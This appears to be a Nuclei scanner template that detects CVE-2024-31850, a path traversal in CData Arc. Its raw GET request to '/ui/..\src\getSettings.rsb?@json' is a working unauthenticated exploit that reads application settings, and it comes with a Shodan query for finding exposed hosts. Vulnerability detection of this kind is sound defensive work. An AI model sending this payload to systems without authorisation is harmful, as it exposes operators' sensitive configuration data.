id: CVE-2024-31850

info:
  name: CData Arc < 23.4.8839 - Path Traversal
  author: DhiyaneshDK
  severity: high
  description: |
    A path traversal vulnerability exists in the Java version of CData Arc < 23.4.8839 when running using the embedded Jetty server, which could allow an unauthenticated remote attacker to gain access to sensitive information and perform limited actions.
  reference:
    - https://www.tenable.com/security/research/tra-2024-09
    - https://nvd.nist.gov/vuln/detail/CVE-2024-31850
    - https://github.com/Stuub/CVE-2024-31848-PoC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
    cvss-score: 8.6
    cve-id: CVE-2024-31850
    cwe-id: CWE-22
    epss-score: 0.00053
    epss-percentile: 0.21091
    cpe: cpe:2.3:a:cdata:arc:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: "title:\"CData Arc\""
    product: arc
    vendor: cdata
  tags: cve,cve2024,cdata,lfi
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}/login.rst'

    matchers:
      - type: word
        internal: true
        words:
          - '<title>CData Arc'

  - raw:
      - |
        GET /ui/..\src\getSettings.rsb?@json HTTP/1.1
        Host: {{Hostname}}
        Referer: {{RootURL}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"items":[{'
          - ':"true"'
          - 'notifyemail'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c0e89eccd5b93ea6031eff594d3404f9f65a32cc9f29af5811740b9a7f9deed00221008a60a2e84010ee64dce8091c0f168c291f251fa5d1fe5c58eecd73e28e47f287:922c64590222798bb761d5b6d8e72950